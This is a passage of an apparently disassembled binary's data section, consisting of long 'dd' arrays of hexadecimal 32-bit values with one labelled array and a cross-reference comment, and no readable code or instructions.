		dd 5CDFBEB0h, 8795409Eh, 16C58B8h, 0AC40C02h, 0E06D6FCDh
		dd 0B185BA80h, 27E6B93Bh, 3E382B58h, 4A81404Fh,	0B330900Eh
		dd 2E747E18h, 5AED0400h, 0D0871775h, 0A19860h, 267F7ABDh
		dd 6AFBDC88h, 6CC6C49h,	8B0F9EE7h, 23AB0951h, 1209C26Dh
		dd 0B62718E6h, 0C448676Bh, 27EF6041h, 0DC051D76h, 63298AA9h
		dd 791B0880h, 576F860Fh, 0C8C08017h, 91F17C80h,	0C4E227ACh
		dd 0DC60C8CAh, 0E400C68Ah, 371EEE51h, 0A830F317h, 5AD40EDCh
		dd 0ADC04128h, 2E5F79A6h, 64C830CBh, 0BCA855C0h, 63B42780h
		dd 3F919097h, 0E2DF281h, 796C708Eh, 0B125B878h,	9687B60h
		dd 1410A92Eh, 30026668h, 301D68Ch, 5EB4F4D0h, 0E0014B46h
		dd 59A69919h, 78C1ECF8h, 28B6ED13h, 0C6B06E01h,	0EA8C610Bh
		dd 1039C2F1h, 1B20D490h, 0CA91134Ch, 96F04977h,	2290188Eh
		dd 0DA911395h, 3934808Fh, 860C9296h, 29E82623h,	0DE695A4Fh
		dd 0C1688F64h, 6387BA23h, 906F6E21h, 979456ECh,	0FC041500h
		dd 93AADDDBh, 1E5CBE3Ah, 0BBC2A06h, 2ABD2035h, 63771C23h
		dd 48A0194Bh, 0AAB313D4h, 86B0F433h, 42873570h,	0EF18701Ch
		dd 0B53B0050h, 26A4B824h, 6C3CFD06h, 0EBE3AF1Dh, 0B6782D78h
		dd 0AA91C023h, 0A8E854AAh, 828A29A9h, 0E0AFE652h, 6AF9A0h
		dd 95850525h, 0B01A7DE0h, 7C1150Bh, 120F1F6h, 9FB6AE33h
		dd 0F079105Dh, 0D5EA0030h, 4D3CB33Ah, 0A332D4BEh, 0DF68F915h
		dd 0D8718492h, 42183A79h, 4609C700h, 8C247B4Eh,	3FB27894h
		dd 0F25BD3D0h, 4C1002ACh, 500EE9E8h, 9FCA1020h,	0E40D2929h
		dd 942C0100h, 2D7DDFB7h, 4E4EC3Dh, 23FE9E02h, 58471659h
		dd 28F25C14h, 2010E892h, 785E275Ah, 2E37F048h, 0F955C400h
		dd 0D382282Bh, 7CD80427h, 0A348DEB1h, 3EE97AA8h, 1D18E47Ah
		dd 0BB9EE2CBh, 0FC983701h, 505EBC20h, 0C8CC8E2Fh, 0BC9BC348h
		dd 1728A458h, 80C03AB3h, 4E68D9AAh, 2E4049C3h, 0F89A18F8h
		dd 12FAB222h, 82CAE538h, 3975ED04h, 0EA1494E0h,	54006C6Eh
		dd 0E984118Fh, 0C818E1E0h, 86F05B7Fh, 5E8255h, 9F6E2F3Fh
		dd 804811C0h, 0E207D84Ah, 44189F4Ch, 0BA209D38h, 9E43905Bh
		dd 0B0E309D4h, 0F9EE3C46h, 8F5D08A4h, 65BB80Ch,	0B819100Eh
		dd 0DCA4E0A3h, 1278FCB3h, 0B71807EEh, 0ABE87885h, 4C7B2868h
		dd 16EE8780h, 0B240D6FBh, 2C322A4h, 0E437CCE7h,	0B8752BA7h
		dd 913552Ch, 0EB5211B7h, 0D907AC64h, 0DCD1447Eh, 3D9D4E50h
		dd 49BE7956h, 712760ACh, 838470C0h, 7F665A0Bh, 0A464F489h
		dd 588B0C34h, 2827AC10h, 59E02777h, 9679A890h, 1C8B978h
		dd 56B2385Eh, 48923A10h, 7694A90Ah, 0AD3F177Ch,	0FB09DFB0h
		dd 9CCF0F2h, 408AC538h,	9BAD38E8h, 401C2DBFh, 0C0F88815h
		dd 6C5F01C0h, 0D11E385Ch, 0DF40B5ADh, 0D9262FE0h, 43E8BC82h
		dd 0AA80A917h, 899796E3h, 5EBC54F4h, 0DC004846h, 9A24FA27h
		dd 9517FFD5h, 90D58793h, 0E2F64EDh, 0B7FC023h, 33220CC0h
		dd 983F751Ch, 8D32A8C0h, 3CD689h, 43A73423h, 49769D62h
		dd 0D0616492h, 8986E049h, 38223FC1h, 0A0A8F697h, 137EB03Ch
		dd 89DAFD90h, 206E6AECh, 0EBCB60Eh, 805CFD63h, 2F0ACAE1h
		dd 9D503402h, 20E0A256h, 0C45A0Dh, 72ED950Bh, 156A8D85h
		dd 7852B700h, 0B04C3904h, 91C50980h, 407E9986h,	7058FB25h
		dd 0F7003FC0h, 0F816D008h, 0A38597h, 0B787BF30h, 7515A4F4h
		dd 23567201h, 240EDECAh, 0E225046Dh, 0DD00C4F0h, 0A2EE49DBh
		dd 3FD74Ch, 30D0F134h, 0A20A66Eh, 0E3B47D0Bh, 2487186h
		dd 0D3DA9335h, 963D4CF4h, 8C90E0EAh, 2530F555h,	1C89C6AAh
		dd 130EBC01h, 0D67A0241h, 3F253D28h, 38CBBC4Ch,	2034D0A6h
		dd 20125402h, 0BCBC587Ah, 4C0328C0h, 6891BBACh,	1ED81827h
		dd 30F4A3D9h, 0EC1142AAh, 3B413AFBh, 0B0D87DE5h, 80C35AD6h
		dd 0FFF293C4h, 7CC84069h, 0B3B203ACh, 814F4B26h, 9ABB9042h
		dd 93F0D38Bh, 1DD0F9E9h, 0A055BE8h, 2028B129h, 5BCA22CBh
		dd 1DD2E310h, 0BEB3257Ch, 3D05E058h, 7014F1F5h,	414D4A6h
		dd 7610C045h, 2927CF6Ch, 5BCCF20Fh, 0EBF042E6h,	185CB458h
		dd 0E2937182h, 54DEB7h,	0F08C7F80h, 1A5A3BF7h, 9D8773F0h
		dd 61E4C8E5h, 94348360h, 0E33F13FEh, 5060E2DBh,	0C1F04301h
		dd 406B30CAh, 0DDB29138h, 0B00E2487h, 0C022580Bh, 2EEA9385h
		dd 74E60062h, 0E96F6138h, 7D3B1F75h, 9160FE68h,	3E4A0A20h
		dd 1DAA0307h, 935010F0h, 96FC43Ah, 5ADC81ADh, 6CF3006Ch
		dd 0EE571524h, 7F7F203Ch, 8034993Bh, 13777407h,	3FAA3B0h
		dd 799CAE91h, 0F1F20887h, 90CDA88Bh, 95A169C0h,	0B6AC0BA9h
		dd 84ED72AEh, 8D08B260h, 0E2D50758h, 30FE2786h,	550AF7D6h
		dd 51374B2Dh, 50075DE8h, 16D35D4Dh, 270810BEh, 0F0CE109Ah
		dd 10C4D710h, 59107C65h, 3B40106Fh, 10369D10h, 3F108EE9h
		dd 3D8A1070h, 10B48510h, 0FF315772h, 164AE61h, 300184E1h
		dd 7CF20363h, 817A6451h, 0ADD01E98h, 5B89F431h,	0DEEB01B5h
		dd 1532201h, 0AB0186C8h, 0B8C70183h, 99A4A101h,	0E269CEA1h
		dd 3969A9B1h, 0A0990187h
		dd 4110D303h, 6E10D166h, 4AB9102Eh, 0CF890531h,	9E6301B1h
		dd 1E91701h, 0D4073C0Ch, 275504D8h, 495E204h, 310C8D71h
		dd 0A766E999h, 4011C071h, 0D540A676h, 29B0A846h, 69F1D867h
		dd 0ED806147h, 9181CD71h, 36318CB1h, 804BF18Ch,	91C8B633h
		dd 0E9301849h, 0C280792Eh, 0D40B8093h, 80371580h, 3F81BA7Eh
		dd 0D3C38851h, 1684801h, 0BC016016h, 0ACCE0325h, 5A08B048h
		dd 40CD08B2h, 817BE20Ch, 0C6C781C8h, 62E1E803h,	59CCC9A1h
		dd 66D4202h, 0C220B999h, 0AEA32028h, 321F166h, 81F07119h
		dd 71818885h, 0CB9E0870h, 8826108h, 0C908ED19h,	41B23F74h
		dd 0A60256F9h, 0DE8802AFh, 239A202h, 9002D647h,	9F3C02C4h
		dd 53E0102h, 0EAD44450h, 3F2E04A3h, 43CC504h, 5606EF26h
		dd 0AB64195Bh, 9804F289h, 0C9B40C7Fh, 0D19A642Ch, 89960C6Ah
		dd 0A19568F1h, 474C88E4h, 1ACC5715h, 222945A1h,	677BDB4h
		dd 0FE200942h, 2B6620A9h, 208B1F20h, 9C62E3FAh,	2DDB721h
		dd 77078F1Dh, 0A8D10898h, 91617C19h, 5F29B988h,	89B8D08h
		dd 0AA0C90F9h, 0C89C21B1h, 0C31F36F1h, 279A9F2h, 0FC022961h
		dd 118C0638h, 7E32DA20h, 0DF0C8016h, 80661380h,	380D172h
		dd 520181C3h, 0FCA5A790h, 13C44C0Ch, 7D4044B9h,	317440FEh
		dd 424E09C4h, 88948A0Ah, 790893A2h, 0C58602EEh,	647A183Ah
		dd 25F08702h, 0E040A495h, 0E4EEED00h, 10A1639Ch, 44006F5Ah
		dd 0AE5CF331h, 59A83278h, 10003CCDh, 0CC342937h, 5600515Fh
		dd 0D4FDA6EEh, 0F4A53A2h, 0F6351CD6h, 681C2056h, 583BF8DFh
		dd 43600E6h, 6134CC1Dh,	81DD4E0Eh, 2AECA0E0h, 0B689285Ch
		dd 0ACDA0Bh, 0B4515391h, 1831542Ch, 0E8B96C2Eh,	0C9B32905h
		dd 0F2F094C1h, 62F8406Fh, 4B664D32h, 6901D8B0h,	0CC788253h
		dd 986028DAh, 0C40D00B2h, 0F04C9A95h, 7B00C91Dh, 22AAA3FFh
		dd 2023609h, 88F87083h,	285807F1h, 0AFEDEF00h, 0A557738h
		dd 80B763AEh, 0B11FC5F1h, 8126F64Fh, 6DE01837h,	132A6151h
		dd 0E00D0E54h, 913E97DCh, 13E61E5Bh, 90DCD94Dh,	40F4887Eh
		dd 6268DE00h, 51442753h, 4D3D0020h, 194A3BB0h, 0EF18FFAEh
		dd 0F090759Fh, 37550332h, 6C536AE9h, 7631097Fh,	0F3B651C6h
		dd 5D1CD03Fh, 909E2F11h, 6BD0AE14h, 85101141h, 0A048F3E1h
		dd 4073ECB2h, 0AE6305B4h, 0E2801D80h, 0D7D091F4h, 46E4A880h
		dd 8288168Fh, 0EEB3040Ch, 2E701149h, 2D487E28h,	0FE0ED068h
		dd 2842F50h, 0D9134D71h, 2CE0220Ah, 7AF20A84h, 0B0F49353h
		dd 4A2BAE68h, 624B7818h, 0F0643C40h, 9378C56Ah,	63144F5Bh
		dd 8014D886h, 0FAEF5081h, 3A410846h, 0E8782886h, 5001879h
		dd 3890E911h, 123EEDA1h, 0EECD0Eh, 78A97F79h, 6101916Dh
		dd 0F006360Bh, 0BC41F281h, 98BCC912h, 0EC202AA7h, 0E4D64B8h
		dd 0E08C7533h, 0C08AEFAAh, 2E77E9C0h, 76EE0C50h, 0B0388014h
		dd 0E78C4A0h, 304F548h,	4DEFFC23h, 6687276h, 0BDF012AEh
		dd 0DE1D117Ah, 5ACE8BEDh, 0CF760528h, 745648E0h, 6418900Ah
		dd 9B878ACh, 0E08819EFh, 318D55DCh, 0B8E09FFAh,	4EB08C44h
		dd 0E5810B9h, 6DF3EF05h, 4448A82Ch, 0F11260A6h,	3C40A540h
		dd 312A4728h, 30B10369h, 97650F99h, 563C4873h, 24507BC5h
		dd 0E3008584h, 74E66DE0h, 0D729F0h, 28A0E519h, 3911AF02h
		dd 0F79CFF03h, 0EA772B14h, 0E88CAA63h, 8E12EE10h, 40B0A586h
		dd 589CE570h, 8285BC00h, 0EEE18303h, 12880030h,	6D7B0A57h
		dd 35002BB0h, 605992A9h, 8762D4h, 57C78E84h, 7D7728CDh
		dd 0AF884195h, 9240820h, 0B2A816AEh, 7D7A5418h,	14918280h
		dd 84F4B78Ch, 72DCC4h, 87718EBBh, 54A8A669h, 37684D3h
		dd 0A02D78E9h, 379075FDh, 1E1D4F1Ah, 48B0510Bh,	8285F08Eh
		dd 0FCF1A4A1h, 39118F89h, 3BF90681h, 84ED5090h,	0C9771391h
		dd 9974704Bh, 3898FEF1h, 513B9100h, 6825E788h, 6C324C43h
		dd 0A9499000h, 108B0AABh, 88C78C0h, 145B5431h, 84C62678h
		dd 0A40A8506h, 3D24E15Ch, 1081A03Ah, 96B07C94h,	0BC1F5881h
		dd 0D770680Fh, 54B4A01Ah, 0D8BC8CB0h, 0F888D404h, 0E4787100h
		dd 0B5C10E55h, 1A5088A0h, 28985469h, 2403F028h,	2AEA250Eh
		dd 28A0AA20h, 4A84CD5h,	94CFE9A1h, 8F8C5ACh, 4E9F2A44h
		dd 56959980h, 31F8ABDh,	0A7E120Bh, 20145DDAh, 93E4B3A9h
		dd 90002074h, 0E1E8583h, 0DC1849E6h, 76770705h,	0AE8404CBh
		dd 0D24C05Bh, 0B84EDB3h, 588A0E23h, 38E95023h, 0B05BC7E8h
		dd 0A91E6090h, 0CE40718Ch, 250CB631h, 33D53E2Dh, 8252B200h
		dd 0F6B7E612h, 4802FD03h, 0C48B27A5h, 281185C6h, 2B147AA7h
		dd 89F03BC9h, 84C9E083h, 0B9B62177h, 0E82A8018h, 8E87189Eh
		dd 6F4A3F82h, 400E0C8Ah, 14B68094h, 0EDB29954h,	31F120A1h
		dd 74C7CCB0h, 8D0BDCA0h, 0D83E9030h, 0A0DC7718h, 16553BE0h
		dd 1C126251h, 0D0B0D45Ch, 0AC5D8700h, 1B4B91B7h, 9200FB78h
		dd 0F44AA6E6h, 0F226360Ah, 0C4CD2878h, 15B600A4h, 90C90913h
		dd 3C4879A9h, 36500236h, 62439210h, 0B8F460DCh,	772D130Ah
		dd 0B6F0449Ch, 3CB48CF1h, 54F805F1h, 52042700h,	0A1788133h
		dd 836892F5h, 0AB694404h, 0AA40EF0Fh, 4C38EE3Ah, 2391504h
		dd 50C12FA1h, 0D204BD3Fh, 4440AE60h, 86277F1Eh,	0BA0F058h
		dd 4F992260h, 8E7EBC20h, 81D059C1h, 0A5A179Ch, 2C10540Bh
		dd 6FAEC090h, 3117D121h, 68FC775Ch, 0AC9314E4h,	904453C4h
		dd 58AB2434h, 1AEBA00Bh, 0C72C6C5Ch, 0E91E0E40h, 0A80534A5h
		dd 12F849FCh, 88E02E0Ah, 8E8D0DD9h, 47298BFBh, 5DFE939Ch
		dd 4D3C111Fh, 2F8E08C0h, 0F70274h, 2A0DF631h, 3A97841Fh
		dd 65420A14h, 0CCE510E4h, 44A93C0Eh, 8C6094CFh,	0C2553148h
		dd 1C577612h, 28413AEh,	948DF810h, 3D52CEAh, 0DF6D04h
		dd 0B1DA8640h, 0A7A93412h, 98CE8E07h, 0AA4E9CFh, 556FC4C1h
		dd 1F7C39A8h, 0E9B311D8h, 33F18884h, 0C42628Bh,	5C3E28E0h
		dd 2100E859h, 0C18F206Ah, 8E158578h, 58D883F2h,	95BE036Ch
		dd 0F975D645h, 9094B27Eh, 2854C4B8h, 490C03E1h,	0FF8257ABh
		dd 0B616D8F8h, 78940A07h, 97E37612h, 0BDD9C17Fh, 625CB042h
		dd 3386274h, 0E50B6F50h, 0C42BD0D2h, 0D8F11858h, 996F8870h
		dd 52A5309h, 5DDC94B0h,	5A82A4A0h, 2046E353h, 85E720h
		dd 9893DD83h, 843820F1h, 980355Ch, 20AC7378h, 11E21B4h
		dd 0F14B3C92h, 3B78A8B0h, 6E072A86h, 2C09361Ah,	57792EA0h
		dd 2F0D043Ch, 91800687h, 0F50A9910h, 0BEE080ACh, 8AA35664h
		dd 40504911h, 5C480E25h, 0AD09297Fh, 0F4E6A0Fh,	0CEEF228h
		dd 5E20B525h, 0F415EF07h, 0B98CB3BEh, 91F5F19Dh, 484EE242h
		dd 171321D0h, 9ED548h, 0F3018100h, 701C7409h, 0C780E9B2h
		dd 0FE6F236Dh, 0E1F1187Ch, 0AE203853h, 742BFF15h, 0F6ED0090h
		dd 5173AF33h, 0E2565B7Bh, 7850006Ch, 3F6DF246h,	0A8D259F1h
		dd 0EF4D0500h, 33FD6982h, 6E00477Fh, 88120A4Bh,	1337F7E1h
		dd 0F0D50B05h, 74178ED8h, 38351F57h, 3CA14835h,	0FCFF97C4h
		dd 48B6F0h, 5E1C51E1h, 50B6A970h, 28340C68h, 42781C20h
		dd 3694A09Dh, 387F26EEh, 1F010BA2h, 84B26026h, 0E60D005h
		dd 0B80F301Dh, 0B5084070h, 1E06D80Ch, 967FF936h, 529056F4h
		dd 5BF021F8h, 0B36057BCh, 10044CDAh, 0C5070E08h, 7C9984C0h
		dd 171C75ECh, 343484F1h, 0A4C9034h, 2CBAA577h, 99E7B480h
		dd 8A195C03h, 5F97F1h
		dd 2371250h, 0DFE45A83h, 8D118E04h, 18EC8C39h, 0A98BF10Ch
		dd 0F2003728h, 84B8F3B2h, 267860E5h, 49903925h,	47C05422h
		dd 4C13425h, 119048F1h,	81A81064h, 0E798833Eh, 1C73B020h
		dd 53A05500h, 0F080F236h, 146DF229h, 646F83B8h,	17A62210h
		dd 0C21B1A9h, 9842F5B8h, 27385A62h, 5CF08E0Ah, 0AE1E5E02h
		dd 0A1ACA814h, 3D2CF418h, 13393C30h, 645145h, 0F1829948h
		dd 28D82E3Bh, 577D08h, 8317324Ah, 0F179A418h, 28640E59h
		dd 82268CD9h, 390CA43Eh, 4B2A486Dh, 13040254h, 8880D445h
		dd 81760AD9h, 78A890C9h, 6E4202BCh, 0FC279C5Bh,	0C68C45Eh
		dd 60D6830Dh, 5C457BF1h, 0F81D6893h, 8051190Ah,	0F0C46391h
		dd 0A90443BCh, 257CA2B0h, 6CE840B4h, 0F7A23CFFh, 0DF1E2B8Bh
		dd 0F3E4454h, 6605DD33h, 1E281AE9h, 14580BE0h, 0F01610D3h
		dd 0F4E4670Ah, 9C0AC6Ah, 0AB1C77h, 472EDF7Ch, 547983Ah
		dd 54898AE4h, 45CCC17Ah, 7F488057h, 73BA75A9h, 4F1305E7h
		dd 3ADA809h, 22CE0F08h,	3BE82800h, 664E856Fh, 60063478h
		dd 0A7F0C0F9h, 0B1096752h, 23218D2Ah, 0EE9918A4h, 5B932C98h
		dd 17AFE0DCh, 8E03E936h, 7207E034h, 6C92A084h, 37A60F7Bh
		dd 7EAC0F68h, 0D2988648h, 2B16BBECh, 8846AB77h,	0A6A811AFh
		dd 9284831Ch, 0DCC44042h, 0F06E82BDh, 0E04D440Ch, 820114Bh
		dd 89377723h, 0BAF8B600h, 190EA758h, 405D04F0h,	8A85169h
		dd 9CB864CCh, 0FE4DB240h, 10690483h, 901E7D0Bh,	0AB0CF068h
		dd 6D143Ch, 5AE5E382h, 27786116h, 14B8442Fh, 902C968Eh
		dd 0F1414C1Fh, 0B9806F04h, 7377F929h, 0EB0C327Ah, 41943C76h
		dd 71A8720Ah, 0AEA90051h, 45FA49E1h, 0EF10EB36h, 0BD06C822h
		dd 48DA2589h, 0ACA68E09h, 53E80334h, 0BC2004C5h, 0E09A200Fh
		dd 3C989324h, 96125E8h,	80ABF198h, 853EA04Ah, 94A04D2Fh
		dd 0EB982FDh, 80EAB538h, 0E79FF769h, 2EB3C9Ch, 81E6AEA8h
		dd 744050B8h, 2CB96FBAh, 64D9143Ch, 57CD00ECh, 5B959DC0h
		dd 374100C2h, 1D991221h, 8A2576D0h, 0AB543971h,	1C95F847h
		dd 4A9AA892h, 0B4D0C1DCh, 0C06711E0h, 76788410h, 649E28BAh
		dd 0C6497CFh, 8C9338B2h, 80B8B4A0h, 2083050Dh, 0C37AF87Dh
		dd 0C2A58284h, 2481FC46h, 9F162318h, 54875F40h,	0EE1F591h
		dd 0E88020D0h, 7EAE2981h, 6D4BEAB4h, 4140CC00h,	0B05D3B53h
		dd 0D4F112ACh, 600454E8h, 8CE2E000h, 7D113715h,	0C1F87E5Ch
		dd 65BE0E22h, 2D0AD834h, 2411F8EFh, 4302EAh, 1F0AAA87h
		dd 3DF2DE07h, 0EF4260A9h, 0FD20406Ch, 387D0B71h, 0BC829629h
		dd 5100D6A7h, 0F43717F0h, 0D4955CD8h, 9E00EE3Ch, 0B25ADF8Ch
		dd 0F904D5E7h, 0ED6EFF8Eh, 5C39B8A1h, 18AAA284h, 531B598h
		dd 530A455Eh, 847094DBh, 18A82004h, 38CE243Bh, 6F017FE0h
		dd 2B557889h, 0C8B0D09Bh, 201B8DC1h, 0FC1337C4h, 0A80C4B91h
		dd 4B397150h, 18E428A1h, 70C4BA71h, 0F0C1208Ch,	698082A6h
		dd 5CA9A0E5h, 0B348CA78h, 839CDF10h, 14F44260h,	2DA8F6B2h
		dd 0D8CC1063h, 5F873911h, 0AC32FE84h, 0F508C04Ch, 0B70037A3h
		dd 813BD849h, 0C974A9h,	0B628E8A0h, 0DC2A750Ch,	0C827A73Ah
		dd 11DE7F38h, 1314AC54h, 7C80CA0Eh, 0FD0BDFh, 81A95FB2h
		dd 6D5166FFh, 5325B600h, 3195F055h, 0AA0F1684h,	0AEE4308Bh
		dd 34B65C1Eh, 0FDF65F00h, 503C5E5Bh, 132BDF84h,	40A90A9Ah
		dd 81198254h, 0F4B92D87h, 0EC217312h, 0F08033B4h, 0F82F0AF6h
		dd 1C9654F9h, 98B26A45h, 65450A0Ah, 0CF2C80ACh,	66EEA3Fh
		dd 12D0AD48h, 6880160Eh, 0B2226599h, 512B0088h,	6CF0E182h
		dd 782E6FA2h, 0B587D0C6h, 2CC50F0Dh, 387BC481h,	0AA939189h
		dd 0F8E23404h, 3C9424AEh, 2A09C4ACh, 0AE2100F0h, 320A8082h
		dd 97682C2Eh, 64B65850h, 1F17CC0h, 5092D7h, 1287BE27h
		dd 6D1AA84h, 8CEE0E2Eh,	0C5599780h, 78FA940Fh, 0CCDA1C68h
		dd 0A9500052h, 356D67Dh, 1A43948h, 48214E62h, 9831B9F1h
		dd 3078EC62h, 6F1069D0h, 4096B320h, 0E7537A60h,	0E461861h
		dd 0E00B202Eh, 50B004E7h, 85C09C86h, 94E508F1h,	79BC3144h
		dd 0B83C70ABh, 0E081B4A1h, 0A32AE48Eh, 9C94301Fh, 4813724Fh
		dd 10909434h, 95352D6h,	0B0D17856h, 7480C8E2h, 0D5329D11h
		dd 310FF509h, 9C30187Dh, 65293E7Eh, 18465F18h, 0BB07E7A0h
		dd 76D71125h, 0B6F440FBh, 926202F6h, 7791520Eh,	8349A45Ah
		dd 0B360324h, 0D84875A8h, 509BF645h, 4A807881h,	0A56804DAh
		dd 8405048Ch, 4085C82h,	14D0F2E5h, 2C8C25BCh, 7A003494h
		dd 78EF036h, 92EC7D4Dh,	2C022050h, 4D88C5Dh, 8513D85Dh
		dd 0EF0300E2h, 5F889AF3h, 1D053298h, 4208E051h,	0CCC0D583h
		dd 1609D856h, 80EBCE0Bh, 8EA0FC2Ch, 6939277Bh, 98E21CA3h
		dd 16F68AE0h, 0A520C0B8h, 0DE8201D6h, 4E3D2208h, 5282829h
		dd 320E0A85h, 991A18ACh, 7048E17Ah, 0F1882CDCh,	84B2505Eh
		dd 245B3077h, 5DFF1DF0h, 8171AA04h, 0B4E53166h,	8E3A880h
		dd 36A5FBD9h, 0A97D1C00h, 92A6417Ah, 0A812C538h, 0E0803B2h
		dd 80079010h, 0F6730DE0h, 6C771180h, 2288B951h,	0C8615444h
		dd 9C08B8EDh, 950A05ACh, 0DB8800C8h, 25DA878Fh,	0AC5CC083h
		dd 0AF4B0358h, 61890E47h, 0E0A8C9E4h, 78C991D4h, 0ACC0FAEh
		dd 0FAFA49Fh, 2F531F1Ch, 6A00DC8Ah, 0DE785F53h,	3C9428DAh
		dd 63091184h, 7E7850CCh, 5148B668h, 2DF07D2Bh, 0E88029Ah
dword_4E414C	dd 0C4D606h, 2EF3BE71h,	5B002C2Dh, 44CA3483h, 2C0FCE52h
					; DATA XREF: ___:off_43A1B8o
		dd 10205F48h, 0D8810B2Ah, 7C16F0h, 0A510C156h, 0F166314Eh
		dd 8828012h, 84E0FC74h,	111D368h, 987F5A90h, 0E9D0F55Bh
		dd 0E20857FBh, 0E8C07E09h, 290030C4h, 3B845052h, 6A5A7880h
		dd 88CE05Bh, 82001494h,	0D0E54513h, 0C5535BF7h,	9CE8177Ch
		dd 73804C9Ch, 0B388C0FEh, 6C4B5FEBh, 0FB234600h, 63EA2B93h
		dd 79A93F6Dh, 728C4F80h, 0A634F5B6h, 2FA2E800h,	0E329C84h
		dd 8C6A48D5h, 18C8378Bh, 71FEAFABh, 930BE891h, 20D84E73h
		dd 0B51E6FDBh, 3E0D15F1h, 0AC2C102Eh, 0C24C2778h, 8724D801h
		dd 5A47ECF0h, 80A67A01h, 0B638B2ABh, 0E4284831h, 0C2889F30h
		dd 2248CB76h, 2C52590h,	0D7BDD4h, 809AFA24h, 0EFC20604h
		dd 0CCD098A1h, 4EA60B27h, 765803EDh, 6CC8A2C7h,	7F13E94Fh
		dd 68205478h, 1FFFE3ECh, 0A5B339Bh, 83B06809h, 0D43FF018h
		dd 97F85009h, 2B4C25A1h, 0B31714C0h, 227CA9E7h,	0DE2002EBh
		dd 0A31E4E3Fh, 6157C8E1h, 461820B4h, 1368194Dh,	4C811520h
		dd 9201804Ah, 0B0A45C63h, 0F1342506h, 180DEE5h,	840D6608h
		dd 826D4411h, 0CEC60EA0h, 5C50DA6Fh, 20826CDDh,	60C207E9h
		dd 5BAF9090h, 409098B2h, 0D7DDB700h, 0F1597D1Eh, 0AE6F07F3h
		dd 8BE00F77h, 0B5FC18E0h, 80493670h, 0AD68D830h, 5BEF19F7h
		dd 600B98BAh, 0F3E86108h, 682CA37Ch, 1080C0E4h,	94608DADh
		dd 0B8EB07B2h, 0CB19C75Dh, 7138FF80h, 0DD093274h, 22838D76h
		dd 222CF2E8h, 68C6AEA9h, 8D05B880h, 4659D325h, 0C34E10h
		dd 74EFA044h, 6E27B56h,	3BA96A00h, 0EE582E4Fh, 0E0685F76h
		dd 0EF595630h, 98792F1Ch, 117F66Ch, 62ED4041h, 80F83EDEh
		dd 98018008h, 9E352820h, 4869DDCh, 0D9F6B792h, 4E24030Ch
		dd 20F280E1h, 0D84C8258h, 609055D8h, 354F3D24h,	3CD09C65h
		dd 90F6400Eh, 937E24D8h, 5D775004h, 0B0C0C962h,	88845333h
		dd 6821F910h, 870FAE01h, 40417438h, 0B7C49185h,	44B496F5h
		dd 4D3C00B1h, 24F18499h, 8974ECD2h, 0B8984ADBh,	384F9111h
		dd 87200420h, 0F14C0FE1h, 95407A07h, 0EFFA9F7Fh, 33540F7Fh
		dd 8612F2C8h, 0B405576Fh, 0F0406DB3h, 0B05979F0h, 0BA9733Ch
		dd 97695C7h, 0EC587012h, 1D4DDA22h, 801CB023h, 0CAF3B27Bh
		dd 690052A0h, 510EB634h, 9A8F0C9h, 1FB52DEFh, 0A0125073h
		dd 1C4F5CE2h, 0C25AD64Ch, 0BC62246Ch, 0FB22DC98h, 0F9899C91h
		dd 10380B09h, 59A7F1A0h, 938C77h, 0B74E034h, 0A9005FE4h
		dd 0BF7D8E78h, 529362Fh, 0A88D1F86h, 2538F317h,	890CC0A6h
		dd 7FB10339h, 246DF0F2h, 3D713B98h, 3C811600h, 7C82A91h
		dd 4F45836h, 0C8D3D712h, 0FCB8D660h, 0CC9C5C4Bh, 8043F877h
		dd 93240A87h, 29C2F82Fh, 4B05C95h, 3C7E78h, 8DE81206h
		dd 8E870038h, 3EA1BBEAh, 8170E0Bh, 70D06FB1h, 0A2E08185h
		dd 0A174034h, 883348A0h, 8BE788C0h, 62006734h, 2DF9DF1Fh
		dd 5F817942h, 7EE402A9h, 78545BFCh, 0B93D4802h,	0E0186044h
		dd 62C20013h, 24DDB2A9h, 6705994Eh, 42D68417h, 5E0B7402h
		dd 0AEDC8001h, 5DBC0F6Bh, 0EF02343Ch, 0CD820E6Eh, 77012700h
		dd 98AD514Bh, 642C0AF4h, 0C08538B8h, 9A297F94h,	2CD9A6E7h
		dd 0C0445FBEh, 9A000D97h, 0E04DE57h, 694B8A34h,	11829CB8h
		dd 0C10B2132h, 12F02050h, 91549AA8h, 24F14160h,	32D5003Ch
		dd 38565855h, 0AE13BE20h, 432A815h, 2085188h, 64998A29h
		dd 3E42B05Eh, 0E2286261h, 30B0D29Ch, 29E0113Ah,	0C00B77Dh
		dd 35465E05h, 0DFACA9h,	0B6106F9Eh, 5742A0F4h, 0C8932A28h
		dd 35C60A18h, 1AF3968h,	245AEF67h, 8275DA0Eh, 9F186F0h
		dd 25A848C2h, 5A2D38EAh, 0D4EDB280h, 67F7B7Ah, 261685Ch
		dd 3B537940h, 11344025h, 0F50F24B0h, 0E9A08320h, 4D9834D7h
		dd 8702F1F0h, 0AADAAE75h, 0EE786002h, 25F0DE15h, 97138CE5h
		dd 8C4BCCB8h, 1097A0B8h, 0DD2020h, 7A924CA7h, 16AF0128h
		dd 0EA3D3400h, 447D60A6h, 0E93100D7h, 5818060Fh, 2E00E3A8h
		dd 0F2B7FC85h, 4CD15F1Fh, 6E251C99h, 0F8C98864h, 4A18592Ah
		dd 550E0518h, 30901627h, 1F5DF184h, 0EA5B30C0h,	3E100E89h
		dd 98853B62h, 0B8840A68h, 7AE90390h, 98F3A02Eh,	6FCCA13h
		dd 3E0B2B56h, 0F49420EFh, 6B6A1806h, 5136A058h,	12E4B8ACh
		dd 0B16326B6h, 58382EA4h, 69149C7Bh, 16AA411h, 70005A7Ah
		dd 124B0AFDh, 59E46CC2h, 0A8290B8Ch, 39189421h,	0A218A50Bh
		dd 94042FCh, 0C5E74402h, 70907CE6h, 754D9D0Bh, 0E0A40E66h
		dd 3812819Eh, 80B7A20Eh, 783B1E00h, 0B0B4BE3h, 0F0DFE68h
		dd 14006091h, 0BBADA200h, 0F3EED532h, 111D213h,	789534F4h
		dd 18443C85h, 267452F1h, 9DA49807h, 3D1EFC00h, 9715804Dh
		dd 25C81492h, 20A0E06Bh, 4A443D24h, 0DC4E0E15h,	5B2CAC4Ch
		dd 0C86C7284h, 9E470E13h, 76F18042h, 16E85E4Bh,	0ABF830B6h
		dd 509432B2h, 0EE529901h, 873E2E06h, 3580428h, 0C543A8Dh
		dd 6C711878h, 0BE095A38h, 0F02E0AAAh, 0D34E58B4h, 70A15B1Bh
		dd 0B50DF598h, 76D3F806h, 4482F46h, 305A98E0h, 3854E2ABh
		dd 280A5EF1h, 36005CA5h, 842381FCh, 726E0097h, 828737A4h
		dd 7C340B15h, 80ED70D3h, 3E242996h, 81221430h, 0BA7C90ACh
